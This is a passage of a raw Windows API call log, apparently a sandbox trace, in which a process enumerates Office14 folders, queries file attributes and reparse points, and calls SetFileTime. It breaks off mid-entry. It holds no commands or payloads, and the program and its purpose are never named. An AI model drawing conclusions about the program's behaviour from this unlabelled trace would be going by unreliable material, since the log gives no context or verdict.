[0079.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9720 [0079.162] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dde58 [0079.162] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab9228) returned 1 [0079.162] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="")) returned 0 [0079.162] GetLastError () returned 0x12 [0079.162] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\InfoPathOM\\InfoPathOMV12\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f80 [0079.162] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0079.162] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x544ee410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64dbf390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.163] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x544ee410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xd770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="")) returned 1 [0079.163] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="")) returned 1 [0079.163] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="")) returned 0 [0079.163] GetLastError () returned 0x12 [0079.163] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ddc48) returned 1 [0079.163] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0079.163] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ddb40) returned 1 [0079.163] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11dda38) returned 1 [0079.163] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5c198900, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x64dbf390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5c198900, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xe770, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Infopath.dll", cAlternateFileName="")) returned 1 [0079.163] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x544ee410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="")) returned 1 [0079.163] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x544ee410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0x3dddf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.InfoPath.xml", cAlternateFileName="")) returned 0 [0079.163] GetLastError () returned 0x12 [0079.163] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0079.163] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0079.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa4f40) returned 1 [0079.164] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.164] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553f4600, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0x61d191f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553f4600, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x7bb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="INLAUNCH.DLL", cAlternateFileName="")) returned 1 [0079.164] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb562a700, ftCreationTime.dwHighDateTime=0x1cacb3f, ftLastAccessTime.dwLowDateTime=0x61e23b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb562a700, ftLastWriteTime.dwHighDateTime=0x1cacb3f, nFileSizeHigh=0x0, nFileSizeLow=0x1bac000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installed_resources14.xss", cAlternateFileName="")) returned 1 [0079.164] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb562a700, ftCreationTime.dwHighDateTime=0x1cacb3f, ftLastAccessTime.dwLowDateTime=0x61e23b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb562a700, ftLastWriteTime.dwHighDateTime=0x1cacb3f, nFileSizeHigh=0x0, nFileSizeLow=0x85000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installed_schemas14.xss", cAlternateFileName="")) returned 1 [0079.164] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bf65300, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xd5938280, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2bf65300, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x17380, dwReserved0=0x0, dwReserved1=0x0, cFileName="INTLDATE.DLL", cAlternateFileName="")) returned 1 [0079.164] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36330000, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x64a2d290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x36330000, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x98b578, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPDESIGN.DLL", cAlternateFileName="")) returned 1 [0079.164] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3501d300, ftCreationTime.dwHighDateTime=0x1cacf91, ftLastAccessTime.dwLowDateTime=0x64cdab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3501d300, ftLastWriteTime.dwHighDateTime=0x1cacf91, nFileSizeHigh=0x0, nFileSizeLow=0x8a4d70, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPEDITOR.DLL", cAlternateFileName="")) returned 1 [0079.164] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x543977b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x1375c, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPIRM.XML", cAlternateFileName="")) returned 1 [0079.164] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x424a0a00, ftCreationTime.dwHighDateTime=0x1c9244d, ftLastAccessTime.dwLowDateTime=0x64d730d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x424a0a00, ftLastWriteTime.dwHighDateTime=0x1c9244d, nFileSizeHigh=0x0, nFileSizeLow=0x135a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPIRMV.XML", cAlternateFileName="")) returned 1 [0079.164] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f53500, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x64d730d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1f53500, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x39988, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPOLK.DLL", cAlternateFileName="")) returned 1 [0079.164] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0675200, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa0675200, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x551a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXACS.PDL", cAlternateFileName="")) returned 1 [0079.164] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x34188, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXDB2.PDL", cAlternateFileName="")) returned 1 [0079.164] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8bf8d00, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa8bf8d00, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x16db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXGENERC.PDL", cAlternateFileName="")) returned 1 [0079.164] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x2ada0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXOLEDB.PDL", cAlternateFileName="")) returned 1 [0079.164] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x63fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXORACLE.PDL", cAlternateFileName="")) returned 1 [0079.164] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x821165a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x2fda8, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXSSRV.PDL", cAlternateFileName="")) returned 1 [0079.164] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a22a900, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5adb1a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1a22a900, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x4db80, dwReserved0=0x0, dwReserved1=0x0, cFileName="IXUTIL.DLL", cAlternateFileName="")) returned 1 [0079.164] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e2cf00, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x66220ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7e2cf00, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x499c, dwReserved0=0x0, dwReserved1=0x0, cFileName="JFONT.DAT", cAlternateFileName="")) returned 1 [0079.164] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3ce9100, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc3ce9100, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0x89e6e, dwReserved0=0x0, dwReserved1=0x0, cFileName="LATIN1.SHP", cAlternateFileName="")) returned 1 [0079.164] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd5d88a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xaa570, dwReserved0=0x0, dwReserved1=0x0, cFileName="LGND.DLL", cAlternateFileName="")) returned 1 [0079.164] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Library", cAlternateFileName="")) returned 1 [0079.164] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.164] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library" (normalized: "c:\\program files\\microsoft office\\office14\\library"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library" (normalized: "c:\\program files\\microsoft office\\office14\\library"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0079.165] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0079.165] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0079.165] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0079.165] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0079.165] NtClose (Handle=0x168) returned 0x0 [0079.165] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa948f8) returned 1 [0079.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa948f8 [0079.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7df8 [0079.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab9228 [0079.166] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0079.166] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.166] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Analysis", cAlternateFileName="")) returned 1 [0079.166] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b4ffc00, ftCreationTime.dwHighDateTime=0x1cac1f6, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b4ffc00, ftLastWriteTime.dwHighDateTime=0x1cac1f6, nFileSizeHigh=0x0, nFileSizeLow=0x62688, dwReserved0=0x0, dwReserved1=0x0, cFileName="EUROTOOL.XLAM", cAlternateFileName="")) returned 1 [0079.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0079.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0079.166] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0079.166] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0079.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0079.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa4f40 [0079.167] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7df8) returned 1 [0079.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11c9740 [0079.167] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11dda38 [0079.167] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7b50) returned 1 [0079.167] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER", cAlternateFileName="")) returned 1 [0079.167] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa671530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SOLVER", cAlternateFileName="")) returned 0 [0079.167] GetLastError () returned 0x12 [0079.167] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0079.168] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0079.169] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x51fe2db0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x51fe2db0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.169] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Analysis", cAlternateFileName="")) returned 1 [0079.169] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7b50 [0079.169] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1887d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.169] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Library\\Analysis" (normalized: "c:\\program files\\microsoft office\\office14\\library\\analysis"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0079.169] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0079.169] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0xacb2b8 [0079.169] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xacb2b8, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xacb2b8, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0079.169] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xacb2b8) returned 1 [0079.170] NtClose (Handle=0x168) returned 0x0 [0079.170] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, 